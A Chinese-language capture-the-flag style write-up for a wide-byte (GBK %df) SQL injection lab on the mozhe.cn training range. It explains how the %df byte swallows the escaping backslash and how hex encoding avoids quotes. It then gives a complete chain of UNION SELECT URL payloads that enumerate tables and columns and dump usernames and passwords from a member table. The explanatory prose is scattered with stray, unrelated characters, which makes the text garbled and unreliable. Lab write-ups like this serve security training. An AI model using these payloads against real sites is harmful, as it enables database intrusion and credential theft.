靶場地址:
https://www.mozhe.cn/bug/detail/MEJyQWEyd29tN2ErT1VocThlaUNVdz09bW96aGUmozhe
造成寬字節(jié)注入的原因抢野,主要是因?yàn)榫幋a方式的不同哥放,其中g(shù)bk占用兩個(gè)字節(jié)。如果php后端對 '號(hào)進(jìn)行了轉(zhuǎn)義狮含,' 變成了 \'柒傻,即%5c%27孝赫,如果在前面加上一個(gè)%df,那么%df%5c%27中%df%5c就會(huì)被gbk解釋成" 縗 ",結(jié)果變成了" 縗' "红符,成功繞過單引號(hào)的過濾
另外一種需要繞過單引號(hào)的情況青柄,如:table_name='test',可將test轉(zhuǎn)換為16進(jìn)制预侯,在其前面添加0x繞過致开,test的16進(jìn)制為74657374,即輸入table_name=0x74657374就可以繞過
id=1%df%5c%27
報(bào)錯(cuò)
id=1%df%5c%27%23
回顯正常萎馅,確認(rèn)寬字節(jié)注入
確認(rèn)列數(shù)以及回顯在頁面的列數(shù):
id=1%df%5c%27 and 1=2 union select 1,2,3,4,5%23
双戳,共有5列,3和5列回顯在頁面
獲得數(shù)據(jù)庫名和表名:
id=1%df%5c%27 and 1=2 union select 1,2,group_concat(table_name),4,database() from information_schema.tables where table_schema=database()%23
獲得stormgroup_member表的列名
id=1%df%5c%27 and 1=2 union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_name=0x73746f726d67726f75705f6d656d626572%23
獲得status=1的賬號(hào)和密碼
id=1%df%5c%27 and 1=2 union select 1,2,password,4,name from stormgroup_member where status=1%23